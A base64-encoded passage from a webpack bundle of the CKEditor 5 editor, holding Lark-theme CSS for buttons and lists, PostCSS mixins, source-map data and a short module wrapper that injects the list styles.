XJhdGlvbiB0byBsZWFybiBtb3JlLiAqL1xuXHRtaW4td2lkdGg6IHZhcigtLWNrLXVpLWNvbXBvbmVudC1taW4taGVpZ2h0KTtcblx0bWluLWhlaWdodDogdmFyKC0tY2stdWktY29tcG9uZW50LW1pbi1oZWlnaHQpO1xuXG5cdC8qIE5vcm1hbGl6ZSB0aGUgaGVpZ2h0IG9mIHRoZSBsaW5lLiBSZW1vdmluZyB0aGlzIHdpbGwgYnJlYWsgY29uc2lzdGVudCBoZWlnaHRcblx0YW1vbmcgdGV4dCBhbmQgdGV4dC1sZXNzIGJ1dHRvbnMgKHdpdGggaWNvbnMpLiAqL1xuXHRsaW5lLWhlaWdodDogMTtcblxuXHQvKiBFbmFibGUgZm9udCBzaXplIGluaGVyaXRhbmNlLCB3aGljaCBhbGxvd3MgZmx1aWQgVUkgc2NhbGluZy4gKi9cblx0Zm9udC1zaXplOiBpbmhlcml0O1xuXG5cdC8qIEF2b2lkIGZsaWNrZXJpbmcgd2hlbiB0aGUgZm91Y3MgYm9yZGVyIHNob3dzIHVwLiAqL1xuXHRib3JkZXI6IDFweCBzb2xpZCB0cmFuc3BhcmVudDtcblxuXHQvKiBBcHBseSBzb21lIHNtb290aCB0cmFuc2l0aW9uIHRvIHRoZSBib3gtc2hhZG93IGFuZCBib3JkZXIuICovXG5cdHRyYW5zaXRpb246IGJveC1zaGFkb3cgLjJzIGVhc2UtaW4tb3V0LCBib3JkZXIgLjJzIGVhc2UtaW4tb3V0O1xuXG5cdC8qIGh0dHBzOi8vZ2l0aHViLmNvbS9ja2VkaXRvci9ja2VkaXRvcjUtdGhlbWUtbGFyay9pc3N1ZXMvMTg5ICovXG5cdC13ZWJraXQtYXBwZWFyYW5jZTogbm9uZTtcblxuXHQmOmFjdGl2ZSxcblx0Jjpmb2N1cyB7XG5cdFx0QG1peGluIGNrLWZvY3VzLXJpbmc7XG5cdFx0QG1peGluIGNrLWJveC1zaGFkb3cgdmFyKC0tY2stZm9jdXMtb3V0ZXItc2hhZG93KTtcblx0fVxuXG5cdC8qIEFsbG93IGljb24gY29sb3JpbmcgdXNpbmcgdGhlIHRleHQgImNvbG9yIiBwcm9wZXJ0eS4gKi9cblx0JiAuY2stYnV0dG9uX19pY29uIHtcblx0XHQmIHVzZSxcblx0XHQmIHVzZSAqIHtcblx0XHRcdGNvbG9yOiBpbmhlcml0O1xuXHRcdH1cblx0fVxuXG5cdCYgLmNrLWJ1dHRvbl9fbGFiZWwge1xuXHRcdC8qIEVuYWJsZSBmb250IHNpemUgaW5oZXJpdGFuY2UsIHdoaWNoIGFsbG93cyBmbHVpZCBVSSBzY2FsaW5nLiAqL1xuXHRcdGZvbnQtc2l6ZTogaW5oZXJpdDtcblx0XHRmb250LXdlaWdodDogaW5oZXJpdDtcblx0XHRjb2xvcjogaW5oZXJpdDtcblx0XHRjdXJzb3I6IGluaGVyaXQ7XG5cblx0XHQvKiBNdXN0IGJlIGNvbnNpc3RlbnQgd2l0aCAuY2staWNvblwncyB2ZXJ0aWNhbCBhbGlnbi4gT3RoZXJ3aXNlLCBidXR0b25zIHdpdGggYW5kXG5cdFx0d2l0aG91dCBsYWJlbHMgKGJ1dCB3aXRoIGljb25zKSBoYXZlIGRpZmZlcmVudCBzaXplcyBpbiBDaHJvbWUgKi9cblx0XHR2ZXJ0aWNhbC1hbGlnbjogbWlkZGxlO1xuXG5cdFx0QG1peGluIGNrLWRpciBsdHIge1xuXHRcdFx0dGV4dC1hbGlnbjogbGVmdDtcblx0XHR9XG5cblx0XHRAbWl4aW4gY2stZGlyIHJ0bCB7XG5cdFx0XHR0ZXh0LWFsaWduOiByaWdodDtcblx0XHR9XG5cdH1cblxuXHQmIC5jay1idXR0b25fX2tleXN0cm9rZSB7XG5cdFx0Y29sb3I6IGluaGVyaXQ7XG5cblx0XHRAbWl4aW4gY2stZGlyIGx0ciB7XG5cdFx0XHRtYXJnaW4tbGVmdDogdmFyKC0tY2stc3BhY2luZy1sYXJnZSk7XG5cdFx0fVxuXG5cdFx0QG1peGluIGNrLWRpciBydGwge1xuXHRcdFx0bWFyZ2luLXJpZ2h0OiB2YXIoLS1jay1zcGFjaW5nLWxhcmdlKTtcblx0XHR9XG5cblx0XHRmb250LXdlaWdodDogYm9sZDtcblx0XHRvcGFjaXR5OiAuNztcblx0fVxuXG5cdC8qIGh0dHBzOi8vZ2l0aHViLmNvbS9ja2VkaXRvci9ja2VkaXRvcjUtdGhlbWUtbGFyay9pc3N1ZXMvNzAgKi9cblx0Ji5jay1kaXNhYmxlZCB7XG5cdFx0JjphY3RpdmUsXG5cdFx0Jjpmb2N1cyB7XG5cdFx0XHQvKiBUaGUgZGlzYWJsZWQgYnV0dG9uIHNob3VsZCBoYXZlIGEgc2xpZ2h0bHkgbGVzcyB2aXNpYmxlIHNoYWRvdyB3aGVuIGZvY3VzZWQuICovXG5cdFx0XHRAbWl4aW4gY2stYm94LXNoYWRvdyB2YXIoLS1jay1mb2N1cy1kaXNhYmxlZC1vdXRlci1zaGFkb3cpO1xuXHRcdH1cblxuXHRcdCYgLmNrLWJ1dHRvbl9faWNvbiB7XG5cdFx0XHRAbWl4aW4gY2stZGlzYWJsZWQ7XG5cdFx0fVxuXG5cdFx0LyogaHR0cHM6Ly9naXRodWIuY29tL2NrZWRpdG9yL2NrZWRpdG9yNS10aGVtZS1sYXJrL2lzc3Vlcy85OCAqL1xuXHRcdCYgLmNrLWJ1dHRvbl9fbGFiZWwge1xuXHRcdFx0QG1peGluIGNrLWRpc2FibGVkO1xuXHRcdH1cblxuXHRcdCYgLmNrLWJ1dHRvbl9fa2V5c3Ryb2tlIHtcblx0XHRcdG9wYWNpdHk6IC4zO1xuXHRcdH1cblx0fVxuXG5cdCYuY2stYnV0dG9uX3dpdGgtdGV4dCB7XG5cdFx0cGFkZGluZzogdmFyKC0tY2stc3BhY2luZy10aW55KSB2YXIoLS1jay1zcGFjaW5nLXN0YW5kYXJkKTtcblxuXHRcdC8qIHN0eWxlbGludC1kaXNhYmxlLW5leHQtbGluZSBuby1kZXNjZW5kaW5nLXNwZWNpZmljaXR5ICovXG5cdFx0JiAuY2stYnV0dG9uX19pY29uIHtcblx0XHRcdEBtaXhpbiBjay1kaXIgbHRyIHtcblx0XHRcdFx0bWFyZ2luLWxlZnQ6IGNhbGMoLTEgKiB2YXIoLS1jay1zcGFjaW5nLXNtYWxsKSk7XG5cdFx0XHRcdG1hcmdpbi1yaWdodDogdmFyKC0tY2stc3BhY2luZy1zbWFsbCk7XG5cdFx0XHR9XG5cblx0XHRcdEBtaXhpbiBjay1kaXIgcnRsIHtcblx0XHRcdFx0bWFyZ2luLXJpZ2h0OiBjYWxjKC0xICogdmFyKC0tY2stc3BhY2luZy1zbWFsbCkpO1xuXHRcdFx0XHRtYXJnaW4tbGVmdDogdmFyKC0tY2stc3BhY2luZy1zbWFsbCk7XG5cdFx0XHR9XG5cdFx0fVxuXHR9XG5cblx0Ji5jay1idXR0b25fd2l0aC1rZXlzdHJva2Uge1xuXHRcdC8qIHN0eWxlbGludC1kaXNhYmxlLW5leHQtbGluZSBuby1kZXNjZW5kaW5nLXNwZWNpZmljaXR5ICovXG5cdFx0JiAuY2stYnV0dG9uX19sYWJlbCB7XG5cdFx0XHRmbGV4LWdyb3c6IDE7XG5cdFx0fVxuXHR9XG5cblx0LyogQSBzdHlsZSBvZiB0aGUgYnV0dG9uIHdoaWNoIGlzIGN1cnJlbnRseSBvbiwgZS5nLiBpdHMgZmVhdHVyZSBpcyBhY3RpdmUuICovXG5cdCYuY2stb24ge1xuXHRcdEBtaXhpbiBjay1idXR0b24tY29sb3JzIC0tY2stY29sb3ItYnV0dG9uLW9uO1xuXHR9XG5cblx0Ji5jay1idXR0b24tc2F2ZSB7XG5cdFx0Y29sb3I6IHZhcigtLWNrLWNvbG9yLWJ1dHRvbi1zYXZlKTtcblx0fVxuXG5cdCYuY2stYnV0dG9uLWNhbmNlbCB7XG5cdFx0Y29sb3I6IHZhcigtLWNrLWNvbG9yLWJ1dHRvbi1jYW5jZWwpO1xuXHR9XG59XG5cbi8qIEEgc3R5bGUgb2YgdGhlIGJ1dHRvbiB3aGljaCBoYW5kbGVzIHRoZSBwcmltYXJ5IGFjdGlvbi4gKi9cbi5jay5jay1idXR0b24tYWN0aW9uLFxuYS5jay5jay1idXR0b24tYWN0aW9uIHtcblx0QG1peGluIGNrLWJ1dHRvbi1jb2xvcnMgLS1jay1jb2xvci1idXR0b24tYWN0aW9uO1xuXG5cdGNvbG9yOiB2YXIoLS1jay1jb2xvci1idXR0b24tYWN0aW9uLXRleHQpO1xufVxuXG4uY2suY2stYnV0dG9uLWJvbGQsXG5hLmNrLmNrLWJ1dHRvbi1ib2xkIHtcblx0Zm9udC13ZWlnaHQ6IGJvbGQ7XG59XG4nLCIvKlxuICogQ29weXJpZ2h0IChjKSAyMDAzLTIwMjAsIENLU291cmNlIC0gRnJlZGVyaWNvIEtuYWJiZW4uIEFsbCByaWdodHMgcmVzZXJ2ZWQuXG4gKiBGb3IgbGljZW5zaW5nLCBzZWUgTElDRU5TRS5tZCBvciBodHRwczovL2NrZWRpdG9yLmNvbS9sZWdhbC9ja2VkaXRvci1vc3MtbGljZW5zZVxuICovXG5cbi8qKlxuICogSW1wbGVtZW50cyBhIGJ1dHRvbiBvZiBnaXZlbiBiYWNrZ3JvdW5kIGNvbG9yLlxuICpcbiAqIEBwYXJhbSB7U3RyaW5nfSAkYmFja2dyb3VuZCAtIEJhY2tncm91bmQgY29sb3Igb2YgdGhlIGJ1dHRvbi5cbiAqIEBwYXJhbSB7U3RyaW5nfSAkYm9yZGVyIC0gQm9yZGVyIGNvbG9yIG9mIHRoZSBidXR0b24uXG4gKi9cbkBkZWZpbmUtbWl4aW4gY2stYnV0dG9uLWNvbG9ycyAkcHJlZml4IHtcblx0YmFja2dyb3VuZDogdmFyKCQocHJlZml4KS1iYWNrZ3JvdW5kKTtcblxuXHQmOm5vdCguY2stZGlzYWJsZWQpIHtcblx0XHQmOmhvdmVyIHtcblx0XHRcdGJhY2tncm91bmQ6IHZhcigkKHByZWZpeCktaG92ZXItYmFja2dyb3VuZCk7XG5cdFx0fVxuXG5cdFx0JjphY3RpdmUge1xuXHRcdFx0YmFja2dyb3VuZDogdmFyKCQocHJlZml4KS1hY3RpdmUtYmFja2dyb3VuZCk7XG5cdFx0XHRib3gtc2hhZG93OiBpbnNldCAwIDJweCAycHggdmFyKCQocHJlZml4KS1hY3RpdmUtc2hhZG93KTtcblx0XHR9XG5cdH1cblxuXHQvKiBodHRwczovL2dpdGh1Yi5jb20vY2tlZGl0b3IvY2tlZGl0b3I1LXRoZW1lLWxhcmsvaXNzdWVzLzk4ICovXG5cdCYuY2stZGlzYWJsZWQge1xuXHRcdGJhY2tncm91bmQ6IHZhcigkKHByZWZpeCktZGlzYWJsZWQtYmFja2dyb3VuZCk7XG5cdH1cbn1cbiIsIi8qXG4gKiBDb3B5cmlnaHQgKGMpIDIwMDMtMjAyMCwgQ0tTb3VyY2UgLSBGcmVkZXJpY28gS25hYmJlbi4gQWxsIHJpZ2h0cyByZXNlcnZlZC5cbiAqIEZvciBsaWNlbnNpbmcsIHNlZSBMSUNFTlNFLm1kIG9yIGh0dHBzOi8vY2tlZGl0b3IuY29tL2xlZ2FsL2NrZWRpdG9yLW9zcy1saWNlbnNlXG4gKi9cblxuLyoqXG4gKiBJbXBsZW1lbnRzIHJvdW5kZWQgY29ybmVyIGludGVyZmFjZSBmb3IgLmNrLXJvdW5kZWQtY29ybmVycyBjbGFzcy5cbiAqXG4gKiBAc2VlICRjay1ib3JkZXItcmFkaXVzXG4gKi9cbkBkZWZpbmUtbWl4aW4gY2stcm91bmRlZC1jb3JuZXJzIHtcblx0Ym9yZGVyLXJhZGl1czogMDtcblxuXHRAbmVzdCAuY2stcm91bmRlZC1jb3JuZXJzICYsXG5cdCYuY2stcm91bmRlZC1jb3JuZXJzIHtcblx0XHRib3JkZXItcmFkaXVzOiB2YXIoLS1jay1ib3JkZXItcmFkaXVzKTtcblx0XHRAbWl4aW4tY29udGVudDtcblx0fVxufVxuIiwiLypcbiAqIENvcHlyaWdodCAoYykgMjAwMy0yMDIwLCBDS1NvdXJjZSAtIEZyZWRlcmljbyBLbmFiYmVuLiBBbGwgcmlnaHRzIHJlc2VydmVkLlxuICogRm9yIGxpY2Vuc2luZywgc2VlIExJQ0VOU0UubWQgb3IgaHR0cHM6Ly9ja2VkaXRvci5jb20vbGVnYWwvY2tlZGl0b3Itb3NzLWxpY2Vuc2VcbiAqL1xuXG4vKipcbiAqIEEgdmlzdWFsIHN0eWxlIG9mIGZvY3VzZWQgZWxlbWVudCdzIGJvcmRlci5cbiAqL1xuQGRlZmluZS1taXhpbiBjay1mb2N1cy1yaW5nIHtcblx0LyogRGlzYWJsZSBuYXRpdmUgb3V0bGluZS4gKi9cblx0b3V0bGluZTogbm9uZTtcblx0Ym9yZGVyOiB2YXIoLS1jay1mb2N1cy1yaW5nKVxufVxuIiwiLypcbiAqIENvcHlyaWdodCAoYykgMjAwMy0yMDIwLCBDS1NvdXJjZSAtIEZyZWRlcmljbyBLbmFiYmVuLiBBbGwgcmlnaHRzIHJlc2VydmVkLlxuICogRm9yIGxpY2Vuc2luZywgc2VlIExJQ0VOU0UubWQgb3IgaHR0cHM6Ly9ja2VkaXRvci5jb20vbGVnYWwvY2tlZGl0b3Itb3NzLWxpY2Vuc2VcbiAqL1xuXG4vKipcbiAqIEEgaGVscGVyIHRvIGNvbWJpbmUgbXVsdGlwbGUgc2hhZG93cy5cbiAqL1xuQGRlZmluZS1taXhpbiBjay1ib3gtc2hhZG93ICRzaGFkb3dBLCAkc2hhZG93QjogMCAwIHtcblx0Ym94LXNoYWRvdzogJHNoYWRvd0EsICRzaGFkb3dCO1xufVxuXG4vKipcbiAqIEdpdmVzIGFuIGVsZW1lbnQgYSBkcm9wIHNoYWRvdyBzbyBpdCBsb29rcyBsaWtlIGEgZmxvYXRpbmcgcGFuZWwuXG4gKi9cbkBkZWZpbmUtbWl4aW4gY2stZHJvcC1zaGFkb3cge1xuXHRAbWl4aW4gY2stYm94LXNoYWRvdyB2YXIoLS1jay1kcm9wLXNoYWRvdyk7XG59XG4iLCIvKlxuICogQ29weXJpZ2h0IChjKSAyMDAzLTIwMjAsIENLU291cmNlIC0gRnJlZGVyaWNvIEtuYWJiZW4uIEFsbCByaWdodHMgcmVzZXJ2ZWQuXG4gKiBGb3IgbGljZW5zaW5nLCBzZWUgTElDRU5TRS5tZCBvciBodHRwczovL2NrZWRpdG9yLmNvbS9sZWdhbC9ja2VkaXRvci1vc3MtbGljZW5zZVxuICovXG5cbi8qKlxuICogQSBjbGFzcyB3aGljaCBpbmRpY2F0ZXMgdGhhdCBhbiBlbGVtZW50IGhvbGRpbmcgaXQgaXMgZGlzYWJsZWQuXG4gKi9cbkBkZWZpbmUtbWl4aW4gY2stZGlzYWJsZWQge1xuXHRvcGFjaXR5OiB2YXIoLS1jay1kaXNhYmxlZC1vcGFjaXR5KTtcbn1cbiJdLHNvdXJjZVJvb3Q6IiJ9XSk7ZVsiYSJdPWF9LGZ1bmN0aW9uKHQsZSxuKXsidXNlIHN0cmljdCI7dmFyIGk9bigyKTt2YXIgbz1uLm4oaSk7dmFyIHI9bigzKTt2YXIgcz1uLm4ocik7dmFyIGE9cygpKG8uYSk7YS5wdXNoKFt0LmksIi5jay5jay1saXN0ey1tb3otdXNlci1zZWxlY3Q6bm9uZTstd2Via2l0LXVzZXItc2VsZWN0Om5vbmU7LW1zLXVzZXItc2VsZWN0Om5vbmU7dXNlci1zZWxlY3Q6bm9uZTtkaXNwbGF5OmZsZXg7ZmxleC1kaXJlY3Rpb246Y29sdW1ufS5jay5jay1saXN0IC5jay1saXN0X19pdGVtLC5jay5jay1saXN0IC5jay1saXN0X19zZXBhcmF0b3J7ZGlzcGxheTpibG9ja30uY2suY2stbGlzdCAuY2stbGlzdF9faXRlbT46Zm9jdXN7cG9zaXRpb246cmVsYXRpdmU7ei1pbmRleDp2YXIoLS1jay16LWRlZmF1bHQpfS5jay5jay1saXN0e2JvcmRlci1yYWRpdXM6MH0uY2stcm91bmRlZC1jb3JuZXJzIC5jay5jay1saXN0LC5jay5jay1saXN0LmNrLXJvdW5kZWQtY29ybmVyc3tib3JkZXItcmFkaXVzOnZhcigtLWNrLWJvcmRlci1yYWRpdXMpfS5jay5jay1saXN0e2xpc3Qtc3R5bGUtdHlwZTpub25lO2JhY2tncm91bmQ6dmFyKC0tY2stY29sb3ItbGlzdC1iYWNrZ3JvdW5kKX0uY2suY2stbGlzdF9faXRlbXtjdXJzb3I6ZGVmYXVsdDttaW4td2lkdGg6MTJlbX0uY2suY2stbGlzdF9faXRlbSAuY2stYnV0dG9ue21pbi1oZWlnaHQ6dW5zZXQ7d2lkdGg6MTAwJTt0ZXh0LWFsaWduOmxlZnQ7Ym9yZGVyLXJhZGl1czowO3BhZGRpbmc6Y2FsYyh2YXIoLS1jay1saW5lLWhlaWdodC1iYXNlKSowLjIqdmFyKC0tY2stZm9udC1zaXplLWJhc2UpKSBjYWxjKHZhcigtLWNrLWxpbmUtaGVpZ2h0LWJhc2UpKjAuNCp2YXIoLS1jay1mb250LXNpemUtYmFzZSkpfS5jay5jay1saXN0X19pdGVtIC5jay1idXR0b24gLmNrLWJ1dHRvbl9fbGFiZWx7bGluZS1oZWlnaHQ6Y2FsYyh2YXIoLS1jay1saW5lLWhlaWdodC1iYXNlKSoxLjIqdmFyKC0tY2stZm9udC1zaXplLWJhc2UpKX0uY2suY2stbGlzdF9faXRlbSAuY2stYnV0dG9uOmFjdGl2ZXtib3gtc2hhZG93Om5vbmV9LmNrLmNrLWxpc3RfX2l0ZW0gLmNrLWJ1dHRvbi5jay1vbntiYWNrZ3JvdW5kOnZhcigtLWNrLWNvbG9yLWxpc3QtYnV0dG9uLW9uLWJhY2tncm91bmQpO2NvbG9yOnZhcigtLWNrLWNvbG9yLWxpc3QtYnV0dG9uLW9uLXRleHQpfS5jay5jay1saXN0X19pdGVtIC5jay1idXR0b24uY2stb246YWN0aXZle2JveC1zaGFkb3c6bm9uZX0uY2suY2stbGlzdF9faXRlbSAuY2stYnV0dG9uLmNrLW9uOmhvdmVyOm5vdCguY2stZGlzYWJsZWQpe2JhY2tncm91bmQ6dmFyKC0tY2stY29sb3ItbGlzdC1idXR0b24tb24tYmFja2dyb3VuZC1mb2N1cyl9LmNrLmNrLWxpc3RfX2l0ZW0gLmNrLWJ1dHRvbi5jay1vbjpmb2N1czpub3QoLmNrLWRpc2FibGVkKXtib3JkZXItY29sb3I6dmFyKC0tY2stY29sb3ItYmFzZS1iYWNrZ3JvdW5kKX0uY2suY2stbGlzdF9faXRlbSAuY2stYnV0dG9uOmhvdmVyOm5vdCguY2stZGlzYWJsZWQpe2JhY2tncm91bmQ6dmFyKC0tY2stY29sb3ItbGlzdC1idXR0b24taG92ZXItYmFja2dyb3VuZCl9LmNrLmNrLWxpc3RfX2l0ZW0gLmNrLXN3aXRjaGJ1dHRvbi5jay1vbntiYWNrZ3JvdW5kOnZhcigtLWNrLWNvbG9yLWxpc3QtYmFja2dyb3VuZCk7Y29sb3I6aW5oZXJpdH0uY2suY2stbGlzdF9faXRlbSAuY2stc3dpdGNoYnV0dG9uLmNrLW9uOmhvdmVyOm5vdCguY2stZGlzYWJsZWQpe2JhY2tncm91bmQ6dmFyKC0tY2stY29sb3ItbGlzdC1idXR0b24taG92ZXItYmFja2dyb3VuZCk7Y29sb3I6aW5oZXJpdH0uY2suY2stbGlzdF9fc2VwYXJhdG9ye2hlaWdodDoxcHg7d2lkdGg6MTAwJTtiYWNrZ3JvdW5kOnZhcigtLWNrLWNvbG9yLWJhc2UtYm9yZGVyKX0iLCIiLHt2ZXJzaW9uOjMsc291cmNlczpbIndlYnBhY2s6Ly8uL25vZGVfbW9kdWxlcy9AY2tlZGl0b3IvY2tlZGl0b3I1LXVpL3RoZW1lL2NvbXBvbmVudHMvbGlzdC9saXN0LmNzcyIsIndlYnBhY2s6Ly8uL25vZGVfbW9kdWxlcy9AY2tlZGl0b3IvY2tlZGl0b3I1LXVpL3RoZW1lL21peGlucy9fdW5zZWxlY3RhYmxlLmNzcyIsIndlYnBhY2s6Ly8uL25vZGVfbW9kdWxlcy9AY2tlZGl0b3IvY2tlZGl0b3I1LXRoZW1lLWxhcmsvdGhlbWUvY2tlZGl0b3I1LXVpL2NvbXBvbmVudHMvbGlzdC9saXN0LmNzcyIsIndlYnBhY2s6Ly8uL25vZGVfbW9kdWxlcy9AY2tlZGl0b3IvY2tlZGl0b3I1LXRoZW1lLWxhcmsvdGhlbWUvbWl4aW5zL19yb3VuZGVkLmNzcyJdLG5hbWVzOltdLG1hcHBpbmdzOiJBQU9BLFlDRUMscUJBQXNCLENBQ3RCLHdCQUF5QixDQUN6QixvQkFBcUIsQ0FDckIsZ0JBQWdCLENERmhCLFlBQWEsQ0FDYixxQkFjRCxDQVpDLDJEQUVDLGFBQ0QsQ0FLQSxrQ0FDQyxpQkFBa0IsQ0FDbEIsMkJBQ0QsQ0VmRCxZQ0VDLGVER0QsQ0FMQSwrRENNRSxxQ0RERixDQUxBLFlBR0Msb0JBQXFCLENBQ3JCLDBDQUNELENBRUEsa0JBQ0MsY0FBZSxDQUNmLGNBMkRELENBekRDLDZCQUNDLGdCQUFpQixDQUNqQixVQUFXLENBQ1gsZUFBZ0IsQ0FDaEIsZUFBZ0IsQ0FLaEIsbUlBaUNELENBN0JDLCtDQUVDLHlFQUNELENBRUEsb0NBQ0MsZUFDRCxDQUVBLG1DQUNDLG9EQUFxRCxDQUNyRCx5Q0FhRCxDQVhDLDBDQUNDLGVBQ0QsQ0FFQSwyREFDQywwREFDRCxDQUVBLDJEQUNDLDRDQUNELENBR0QscURBQ0MsdURBQ0QsQ0FNQSx5Q0FDQywwQ0FBMkMsQ0FDM0MsYUFNRCxDQUpDLGlFQUNDLHVEQUF3RCxDQUN4RCxhQUNELENBS0gsdUJBQ0MsVUFBVyxDQUNYLFVBQVcsQ0FDWCxzQ0FDRCIsc291cmNlc0NvbnRlbnQ6WycvKlxuICogQ29weXJpZ2h0IChjKSAyMDAzLTIwMjAsIENLU291cmNlIC0gRnJlZGVyaWNvIEtuYWJiZW4uIEFsbCByaWdodHMgcmVzZXJ2ZWQuXG4gKiBGb3IgbGljZW5zaW5nLCBzZWUgTElDRU5TRS5tZCBvciBodHRwczovL2NrZWRpdG9yLmNvbS9sZWdhbC9ja2VkaXRvci1vc3MtbGljZW5zZVxuICovXG5cbkBpbXBvcnQgIi4uLy4uL21peGlucy9fdW5zZWxlY3RhYmxlLmNzcyI7XG5cbi5jay5jay1saXN0IHtcblx0QG1peGluIGNrLXVuc2VsZWN0YWJsZTtcblxuXHRkaXNwbGF5OiBmbGV4O1xuXHRmbGV4LWRpcmVjdGlvbjogY29sdW1uO1xuXG5cdCYgLmNrLWxpc3RfX2l0ZW0sXG5cdCYgLmNrLWxpc3RfX3NlcGFyYXRvciB7XG5cdFx0ZGlzcGxheTogYmxvY2s7XG5cdH1cblxuXHQvKiBNYWtlIHN1cmUgdGhhdCB3aGF0ZXZlciBjaGlsZCBvZiB0aGUgbGlzdCBpdGVtIGdldHMgZm9jdXMsIGl0IHJlbWFpbnMgb24gdGhlXG5cdHRvcC4gVGhhbmtzIHRvIHRoYXQsIHN0eWxlcyBsaWtlIGJveC1zaGFkb3csIG91dGxpbmUsIGV0Yy4gYXJlIG5vdCBtYXNrZWQgYnlcblx0YWRqYWNlbnQgbGlzdCBpdGVtcy4gKi9cblx0JiAuY2stbGlzdF9faXRlbSA+ICo6Zm9jdXMge1xuXHRcdHBvc2l0aW9uOiByZWxhdGl2ZTtcblx0XHR6LWluZGV4OiB2YXIoLS1jay16LWRlZmF1bHQpO1xuXHR9XG59XG4nLCIvKlxuICogQ29weXJpZ2h0IChjKSAyMDAzLTIwMjAsIENLU291cmNlIC0gRnJlZGVyaWNvIEtuYWJiZW4uIEFsbCByaWdodHMgcmVzZXJ2ZWQuXG4gKiBGb3IgbGljZW5zaW5nLCBzZWUgTElDRU5TRS5tZCBvciBodHRwczovL2NrZWRpdG9yLmNvbS9sZWdhbC9ja2VkaXRvci1vc3MtbGljZW5zZVxuICovXG5cbi8qKlxuICogTWFrZXMgZWxlbWVudCB1bnNlbGVjdGFibGUuXG4gKi9cbkBkZWZpbmUtbWl4aW4gY2stdW5zZWxlY3RhYmxlIHtcblx0LW1vei11c2VyLXNlbGVjdDogbm9uZTtcblx0LXdlYmtpdC11c2VyLXNlbGVjdDogbm9uZTtcblx0LW1zLXVzZXItc2VsZWN0OiBub25lO1xuXHR1c2VyLXNlbGVjdDogbm9uZVxufVxuIiwnLypcbiAqIENvcHlyaWdodCAoYykgMjAwMy0yMDIwLCBDS1NvdXJjZSAtIEZyZWRlcmljbyBLbmFiYmVuLiBBbGwgcmlnaHRzIHJlc2VydmVkLlxuICogRm9yIGxpY2Vuc2luZywgc2VlIExJQ0VOU0UubWQgb3IgaHR0cHM6Ly9ja2VkaXRvci5jb20vbGVnYWwvY2tlZGl0b3Itb3NzLWxpY2Vuc2VcbiAqL1xuXG5AaW1wb3J0ICIuLi8uLi8uLi9taXhpbnMvX2Rpc2FibGVkLmNzcyI7XG5AaW1wb3J0ICIuLi8uLi8uLi9taXhpbnMvX3JvdW5kZWQuY3NzIjtcbkBpbXBvcnQgIi4uLy4uLy4uL21peGlucy9fc2hhZG93LmNzcyI7XG5cbi5jay5jay1saXN0IHtcblx0QG1peGluIGNrLXJvdW5kZWQtY29ybmVycztcblxuXHRsaXN0LXN0eWxlLXR5cGU6IG5vbmU7XG5cdGJhY2tncm91bmQ6IHZhcigtLWNrLWNvbG9yLWxpc3QtYmFja2dyb3VuZCk7XG59XG5cbi5jay5jay1saXN0X19pdGVtIHtcblx0Y3Vyc29yOiBkZWZhdWx0O1xuXHRtaW4td2lkdGg6IDEyZW07XG5cblx0JiAuY2stYnV0dG9uIHtcblx0XHRtaW4taGVpZ2h0OiB1bnNldDtcblx0XHR3aWR0aDogMTAwJTtcblx0XHR0ZXh0LWFsaWduOiBsZWZ0O1xuXHRcdGJvcmRlci1yYWRpdXM6IDA7XG5cblx0XHQvKiBMaXN0IGl0ZW1zIHNob3VsZCBoYXZlIHRoZSBzYW1lIGhlaWdodC4gVXNlIGFic29sdXRlIHVuaXRzIHRvIG1ha2Ugc3VyZSBpdCBpcyBzb1xuXHRcdCAgIGJlY2F1c2UgZS5nLiBkaWZmZXJlbnQgaGVhZGluZyBzdHlsZXMgbWF5IGhhdmUgZGlmZmVyZW50IGhlaWdodFxuXHRcdCAgIGh0dHBzOi8vZ2l0aHViLmNvbS9ja2VkaXRvci9ja2VkaXRvcjUtaGVhZGluZy9pc3N1ZXMvNjMgKi9cblx0XHRwYWRkaW5nOlxuXHRcdFx0Y2FsYyguMiAqIHZhcigtLWNrLWxpbmUtaGVpZ2h0LWJhc2UpICogdmFyKC0tY2stZm9udC1zaXplLWJhc2UpKVxuXHRcdFx0Y2FsYyguNCAqIHZhcigtLWNrLWxpbmUtaGVpZ2h0LWJhc2UpICogdmFyKC0tY2stZm9udC1zaXplLWJhc2UpKTtcblxuXHRcdCYgLmNrLWJ1dHRvbl9fbGFiZWwge1xuXHRcdFx0LyogaHR0cHM6Ly9naXRodWIuY29tL2NrZWRpdG9yL2NrZWRpdG9yNS1oZWFkaW5nL2lzc3Vlcy82MyAqL1xuXHRcdFx0bGluZS1oZWlnaHQ6IGNhbGMoMS4yICogdmFyKC0tY2stbGluZS1oZWlnaHQtYmFzZSkgKiB2YXIoLS1jay1mb250LXNpemUtYmFzZSkpO1xuXHRcdH1cblxuXHRcdCY6YWN0aXZlIHtcblx0XHRcdGJveC1zaGFkb3c6IG5vbmU7XG5cdFx0fVxuXG5cdFx0Ji5jay1vbiB7XG5cdFx0XHRiYWNrZ3JvdW5kOiB2YXIoLS1jay1jb2xvci1saXN0LWJ1dHRvbi1vbi1iYWNrZ3JvdW5kKTtcblx0XHRcdGNvbG9yOiB2YXIoLS1jay1jb2xvci1saXN0LWJ1dHRvbi1vbi10ZXh0KTtcblxuXHRcdFx0JjphY3RpdmUge1xuXHRcdFx0XHRib3gtc2hhZG93OiBub25lO1xuXHRcdFx0fVxuXG5cdFx0XHQmOmhvdmVyOm5vdCguY2stZGlzYWJsZWQpIHtcblx0XHRcdFx0YmFja2dyb3VuZDogdmFyKC0tY2stY29sb3ItbGlzdC1idXR0b24tb24tYmFja2dyb3VuZC1mb2N1cyk7XG5cdFx0XHR9XG5cblx0XHRcdCY6Zm9jdXM6bm90KC5jay1kaXNhYmxlZCkge1xuXHRcdFx0XHRib3JkZXItY29sb3I6IHZhcigtLWNrLWNvbG9yLWJhc2UtYmFja2dyb3VuZCk7XG5cdFx0XHR9XG5cdFx0fVxuXG5cdFx0Jjpob3Zlcjpub3QoLmNrLWRpc2FibGVkKSB7XG5cdFx0XHRiYWNrZ3JvdW5kOiB2YXIoLS1jay1jb2xvci1saXN0LWJ1dHRvbi1ob3Zlci1iYWNrZ3JvdW5kKTtcblx0XHR9XG5cdH1cblxuXHQvKiBJdFwncyB1bm5lY2Vzc2FyeSB0byBjaGFuZ2UgdGhlIGJhY2tncm91bmQvdGV4dCBvZiBhIHN3aXRjaCB0b2dnbGU7IGl0IGhhcyBkaWZmZXJlbnQgd2F5c1xuXHRvZiBjb252ZXlpbmcgaXRzIHN0YXRlIChsaWtlIHRoZSBzd2l0Y2hlcikgKi9cblx0JiAuY2stc3dpdGNoYnV0dG9uIHtcblx0XHQmLmNrLW9uIHtcblx0XHRcdGJhY2tncm91bmQ6IH